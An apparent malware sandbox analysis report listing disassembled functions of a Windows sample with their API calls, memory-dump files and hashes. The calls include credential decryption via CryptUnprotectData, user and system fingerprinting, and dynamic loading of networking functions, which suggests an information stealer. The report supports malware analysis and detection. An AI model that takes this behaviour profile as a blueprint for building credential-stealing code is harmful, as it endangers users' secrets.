API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f98d8466142977668b01265977cef2d83ead960661ebd3eb631293670d0bd49e
Instruction ID: 5f7fe8c5571b00cdc0fc1b2cf7d3f605b916c47ff800cddd83fbe83256b2cff9
Opcode Fuzzy Hash: f98d8466142977668b01265977cef2d83ead960661ebd3eb631293670d0bd49e
Instruction Fuzzy Hash: 13010C75A00208BFCB15DFA5DD48BEEBBF8FB48300F108298A90A97240D7389B44DF61

Function 00577A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0044F1A8,00000000,?,00580E10,00000000,?,00000000,00000000), ref: 00577A63
RtlAllocateHeap.NTDLL(00000000), ref: 00577A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0044F1A8,00000000,?,00580E10,00000000,?,00000000,00000000,?), ref: 00577A7D
wsprintfA.USER32 ref: 00577AB7

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 263e863d066bd9bbb691598beb713b4bc84ed96bfa365fc301d3ce72e018fde7
Instruction ID: 98153bbd68089ff71a04c9a0fbc84fdaacc933341a11c99971d1b94977aa62c1
Opcode Fuzzy Hash: 263e863d066bd9bbb691598beb713b4bc84ed96bfa365fc301d3ce72e018fde7
Instruction Fuzzy Hash: 0D1182B1945218EBEB208F54EC49F69BB78FB45711F1087D5E90AA32C0C7785E40CF51

Function 00569B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00569B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00569BA3
LocalFree.KERNEL32(?), ref: 00569BD3

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: c8e987187cbde9f33c4944a2403b5f19fd7496fe9e01626629620d6d8c11e8fa
Instruction ID: f0abcdf61262ef66a429b7e6f0337491157820ff00743153c90f04032e736d67
Opcode Fuzzy Hash: c8e987187cbde9f33c4944a2403b5f19fd7496fe9e01626629620d6d8c11e8fa
Instruction Fuzzy Hash: 1411B7B9A00209EFDB04DF94D985AAE77B9FF89300F108598E915A7350D774AE10CFA1

Function 00577850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005611B7), ref: 00577880
RtlAllocateHeap.NTDLL(00000000), ref: 00577887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0057789F

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b8f54c7f31bd570804c6185961dfd101519d93368334311540c1f32e54e6c771
Instruction ID: ac0be2ba71519fbe33314f70b60aa4caef234386eb5a2fd568a5a205709204cf
Opcode Fuzzy Hash: b8f54c7f31bd570804c6185961dfd101519d93368334311540c1f32e54e6c771
Instruction Fuzzy Hash: 41F044B1944209ABC700DF94DD45FAEBBB8FB45711F104559F605A2680C7781504CBA1

Function 00561160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0056116A
ExitProcess.KERNEL32 ref: 0056117E

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 78ab230d7e2f7238b4384d410f17b71447d4cc282f17c98571a2bc54a50e0c72
Instruction ID: 2fd9e3cd0d82286d9cc6bb4ba6bd7f23c965eba37c4ba0aab4d0592ae4362e18
Opcode Fuzzy Hash: 78ab230d7e2f7238b4384d410f17b71447d4cc282f17c98571a2bc54a50e0c72
Instruction Fuzzy Hash: 0CD05E7490030CEBCB40DFE0D8496EEBB78FB49311F000554D90562340EB305881CBAA

Function 00579C10 Relevance: 264.9, APIs: 112, Strings: 39, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76E00000,004352D0), ref: 00579C2D
GetProcAddress.KERNEL32(76E00000,00435570), ref: 00579C45
GetProcAddress.KERNEL32(76E00000,00449698), ref: 00579C5E
GetProcAddress.KERNEL32(76E00000,00449680), ref: 00579C76
GetProcAddress.KERNEL32(76E00000,004496C8), ref: 00579C8E
GetProcAddress.KERNEL32(76E00000,00449638), ref: 00579CA7
GetProcAddress.KERNEL32(76E00000,0043BA70), ref: 00579CBF
GetProcAddress.KERNEL32(76E00000,0044E040), ref: 00579CD7
GetProcAddress.KERNEL32(76E00000,0044E118), ref: 00579CF0
GetProcAddress.KERNEL32(76E00000,0044E070), ref: 00579D08
GetProcAddress.KERNEL32(76E00000,0044E0E8), ref: 00579D20
GetProcAddress.KERNEL32(76E00000,00435430), ref: 00579D39
GetProcAddress.KERNEL32(76E00000,004354B0), ref: 00579D51
GetProcAddress.KERNEL32(76E00000,00435450), ref: 00579D69
GetProcAddress.KERNEL32(76E00000,00435590), ref: 00579D82
GetProcAddress.KERNEL32(76E00000,0044E058), ref: 00579D9A
GetProcAddress.KERNEL32(76E00000,0044E148), ref: 00579DB2
GetProcAddress.KERNEL32(76E00000,0043B840), ref: 00579DCB
GetProcAddress.KERNEL32(76E00000,00435470), ref: 00579DE3
GetProcAddress.KERNEL32(76E00000,0044E220), ref: 00579DFB
GetProcAddress.KERNEL32(76E00000,0044E160), ref: 00579E14
GetProcAddress.KERNEL32(76E00000,0044E130), ref: 00579E2C
GetProcAddress.KERNEL32(76E00000,0044DF50), ref: 00579E44
GetProcAddress.KERNEL32(76E00000,004355B0), ref: 00579E5D
GetProcAddress.KERNEL32(76E00000,0044E0B8), ref: 00579E75
GetProcAddress.KERNEL32(76E00000,0044E010), ref: 00579E8D
GetProcAddress.KERNEL32(76E00000,0044E178), ref: 00579EA6
GetProcAddress.KERNEL32(76E00000,0044DF80), ref: 00579EBE
GetProcAddress.KERNEL32(76E00000,0044E088), ref: 00579ED6
GetProcAddress.KERNEL32(76E00000,0044DFF8), ref: 00579EEF
GetProcAddress.KERNEL32(76E00000,0044DF38), ref: 00579F07
GetProcAddress.KERNEL32(76E00000,0044E190), ref: 00579F1F
GetProcAddress.KERNEL32(76E00000,0044DF68), ref: 00579F38
GetProcAddress.KERNEL32(76E00000,0044A998), ref: 00579F50
GetProcAddress.KERNEL32(76E00000,0044E1D8), ref: 00579F68
GetProcAddress.KERNEL32(76E00000,0044DF98), ref: 00579F81
GetProcAddress.KERNEL32(76E00000,00435230), ref: 00579F99
GetProcAddress.KERNEL32(76E00000,0044E1A8), ref: 00579FB1
GetProcAddress.KERNEL32(76E00000,00435270), ref: 00579FCA
GetProcAddress.KERNEL32(76E00000,0044E1C0), ref: 00579FE2
GetProcAddress.KERNEL32(76E00000,0044E0A0), ref: 00579FFA
GetProcAddress.KERNEL32(76E00000,00435250), ref: 0057A013
GetProcAddress.KERNEL32(76E00000,004357B0), ref: 0057A02B
LoadLibraryA.KERNEL32(0044DFB0,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A03D
LoadLibraryA.KERNEL32(0044E0D0,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A04E
LoadLibraryA.KERNEL32(0044E100,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A060
LoadLibraryA.KERNEL32(0044E1F0,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A072
LoadLibraryA.KERNEL32(0044DFE0,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A083
LoadLibraryA.KERNEL32(0044DFC8,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A095
LoadLibraryA.KERNEL32(0044E208,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A0A7
LoadLibraryA.KERNEL32(0044E028,?,00575CA3,00580AEB,?,?,?,?,?,?,?,?,?,?,00580AEA,00580AE3), ref: 0057A0B8
GetProcAddress.KERNEL32(76560000,004359B0), ref: 0057A0DA
GetProcAddress.KERNEL32(76560000,0044E430), ref: 0057A0F2
GetProcAddress.KERNEL32(76560000,00448F78), ref: 0057A10A
GetProcAddress.KERNEL32(76560000,0044E478), ref: 0057A123
GetProcAddress.KERNEL32(76560000,00435730), ref: 0057A13B
GetProcAddress.KERNEL32(738D0000,0043B868), ref: 0057A160
GetProcAddress.KERNEL32(738D0000,00435610), ref: 0057A179
GetProcAddress.KERNEL32(738D0000,0043B908), ref: 0057A191
GetProcAddress.KERNEL32(738D0000,0044E280), ref: 0057A1A9
GetProcAddress.KERNEL32(738D0000,0044E238), ref: 0057A1C2
GetProcAddress.KERNEL32(738D0000,00435790), ref: 0057A1DA
GetProcAddress.KERNEL32(738D0000,004356F0), ref: 0057A1F2
GetProcAddress.KERNEL32(738D0000,0044E3E8), ref: 0057A20B
GetProcAddress.KERNEL32(75450000,00435710), ref: 0057A22C
GetProcAddress.KERNEL32(75450000,00435630), ref: 0057A244
GetProcAddress.KERNEL32(75450000,0044E2B0), ref: 0057A25D
GetProcAddress.KERNEL32(75450000,0044E490), ref: 0057A275
GetProcAddress.KERNEL32(75450000,004356B0), ref: 0057A28D
GetProcAddress.KERNEL32(77050000,0043BBD8), ref: 0057A2B3
GetProcAddress.KERNEL32(77050000,0043BC00), ref: 0057A2CB
GetProcAddress.KERNEL32(77050000,0044E250), ref: 0057A2E3
GetProcAddress.KERNEL32(77050000,00435810), ref: 0057A2FC
GetProcAddress.KERNEL32(77050000,00435750), ref: 0057A314
GetProcAddress.KERNEL32(77050000,0043BA98), ref: 0057A32C
GetProcAddress.KERNEL32(76A70000,0044E520), ref: 0057A352
GetProcAddress.KERNEL32(76A70000,004358B0), ref: 0057A36A
GetProcAddress.KERNEL32(76A70000,00448F88), ref: 0057A382
GetProcAddress.KERNEL32(76A70000,0044E3A0), ref: 0057A39B
GetProcAddress.KERNEL32(76A70000,0044E508), ref: 0057A3B3
GetProcAddress.KERNEL32(76A70000,00435830), ref: 0057A3CB
GetProcAddress.KERNEL32(76A70000,00435890), ref: 0057A3E4
GetProcAddress.KERNEL32(76A70000,0044E2F8), ref: 0057A3FC
GetProcAddress.KERNEL32(76A70000,0044E298), ref: 0057A414
GetProcAddress.KERNEL32(76F40000,00435850), ref: 0057A436
GetProcAddress.KERNEL32(76F40000,0044E4F0), ref: 0057A44E
GetProcAddress.KERNEL32(76F40000,0044E3B8), ref: 0057A466
GetProcAddress.KERNEL32(76F40000,0044E310), ref: 0057A47F
GetProcAddress.KERNEL32(76F40000,0044E418), ref: 0057A497
GetProcAddress.KERNEL32(761C0000,00435770), ref: 0057A4B8
GetProcAddress.KERNEL32(761C0000,00435870), ref: 0057A4D1
GetProcAddress.KERNEL32(75540000,004356D0), ref: 0057A4F2
GetProcAddress.KERNEL32(75540000,0044E268), ref: 0057A50A
GetProcAddress.KERNEL32(6F4A0000,00435650), ref: 0057A530
GetProcAddress.KERNEL32(6F4A0000,004358D0), ref: 0057A548
GetProcAddress.KERNEL32(6F4A0000,004357D0), ref: 0057A560
GetProcAddress.KERNEL32(6F4A0000,0044E400), ref: 0057A579
GetProcAddress.KERNEL32(6F4A0000,004357F0), ref: 0057A591
GetProcAddress.KERNEL32(6F4A0000,004358F0), ref: 0057A5A9
GetProcAddress.KERNEL32(6F4A0000,00435690), ref: 0057A5C2
GetProcAddress.KERNEL32(6F4A0000,00435910), ref: 0057A5DA
GetProcAddress.KERNEL32(6F4A0000,InternetSetOptionA), ref: 0057A5F1
GetProcAddress.KERNEL32(6F4A0000,HttpQueryInfoA), ref: 0057A607
GetProcAddress.KERNEL32(77070000,0044E448), ref: 0057A629
GetProcAddress.KERNEL32(77070000,00448F28), ref: 0057A641
GetProcAddress.KERNEL32(77070000,0044E328), ref: 0057A659
GetProcAddress.KERNEL32(77070000,0044E2C8), ref: 0057A672
GetProcAddress.KERNEL32(77040000,00435990), ref: 0057A693
GetProcAddress.KERNEL32(6E990000,0044E2E0), ref: 0057A6B4
GetProcAddress.KERNEL32(6E990000,00435970), ref: 0057A6CD
GetProcAddress.KERNEL32(6E990000,0044E3D0), ref: 0057A6E5
GetProcAddress.KERNEL32(6E990000,0044E460), ref: 0057A6FD

Strings

D, xrefs: 0057A1FD
HD, xrefs: 0057A61B
0XC, xrefs: 0057A3BE
PVC, xrefs: 0057A522
xD, xrefs: 0057A115
HD, xrefs: 00579DA5
0WC, xrefs: 0057A12E
pUC, xrefs: 00579C38
PRC, xrefs: 0057A005
0VC, xrefs: 0057A237
InternetSetOptionA, xrefs: 0057A5E5
0RC, xrefs: 00579F8C
PWC, xrefs: 0057A307
PXC, xrefs: 0057A428
@D, xrefs: 00579CCA
D, xrefs: 0057A344
`D, xrefs: 00579E06
(D, xrefs: 0057A0B2
(D, xrefs: 0057A64C
HttpQueryInfoA, xrefs: 0057A5FC
8D, xrefs: 0057A1B4
D, xrefs: 00579D13
xD, xrefs: 00579E98
0D, xrefs: 0057A0E5
0D, xrefs: 00579E1F
XD, xrefs: 00579D8D
0TC, xrefs: 00579D2B
PTC, xrefs: 00579D5C
PD, xrefs: 0057A2D6
pD, xrefs: 00579CFB
D, xrefs: 0057A6A7
pYC, xrefs: 0057A6BF
D, xrefs: 00579DEE
pRC, xrefs: 00579FBC
`D, xrefs: 0057A6F0
hD, xrefs: 0057A4FD
pXC, xrefs: 0057A4C3
pTC, xrefs: 00579DD6
pWC, xrefs: 0057A4AB

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: D$ D$(D$(D$0RC$0TC$0VC$0WC$0XC$0D$0D$8D$@D$HttpQueryInfoA$HD$HD$InternetSetOptionA$PRC$PTC$PVC$PWC$PXC$PD$XD$`D$`D$hD$pRC$pTC$pUC$pWC$pXC$pYC$pD$xD$xD$D$D$D
API String ID: 2238633743-837423644
Opcode ID: 73ccfb0f62956a45a56f7958145f9fc7296ef1f8b2569ef0a78cdbb1ac2da579
Instruction ID: d4f2fa80a57d1116080078334592cfa13786175e9238e2f50e11cedf48eaac85
Opcode Fuzzy Hash: 73ccfb0f62956a45a56f7958145f9fc7296ef1f8b2569ef0a78cdbb1ac2da579
Instruction Fuzzy Hash: 9F6249B6500210FFC796DFA8ED889663BF9F7DE601704C51AA609C3264D73DA841DF2A

Function 00567710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00567724
RtlAllocateHeap.NTDLL(00000000), ref: 0056772B
lstrcat.KERNEL32(?,00449D18), ref: 005678DB
lstrcat.KERNEL32(?,?), ref: 005678EF
lstrcat.KERNEL32(?,?), ref: 00567903
lstrcat.KERNEL32(?,?), ref: 00567917
lstrcat.KERNEL32(?,0044F460), ref: 0056792B
lstrcat.KERNEL32(?,0044F5B0), ref: 0056793F
lstrcat.KERNEL32(?,0044F598), ref: 00567952
lstrcat.KERNEL32(?,0044F2E0), ref: 00567966
lstrcat.KERNEL32(?,00449DA0), ref: 0056797A
lstrcat.KERNEL32(?,?), ref: 0056798E
lstrcat.KERNEL32(?,?), ref: 005679A2
lstrcat.KERNEL32(?,?), ref: 005679B6
lstrcat.KERNEL32(?,0044F460), ref: 005679C9
lstrcat.KERNEL32(?,0044F5B0), ref: 005679DD
lstrcat.KERNEL32(?,0044F598), ref: 005679F1
lstrcat.KERNEL32(?,0044F2E0), ref: 00567A04
lstrcat.KERNEL32(?,00449E08), ref: 00567A18
lstrcat.KERNEL32(?,?), ref: 00567A2C
lstrcat.KERNEL32(?,?), ref: 00567A40
lstrcat.KERNEL32(?,?), ref: 00567A54
lstrcat.KERNEL32(?,0044F460), ref: 00567A68
lstrcat.KERNEL32(?,0044F5B0), ref: 00567A7B
lstrcat.KERNEL32(?,0044F598), ref: 00567A8F
lstrcat.KERNEL32(?,0044F2E0), ref: 00567AA3
lstrcat.KERNEL32(?,00449E70), ref: 00567AB6
lstrcat.KERNEL32(?,?), ref: 00567ACA
lstrcat.KERNEL32(?,?), ref: 00567ADE
lstrcat.KERNEL32(?,?), ref: 00567AF2
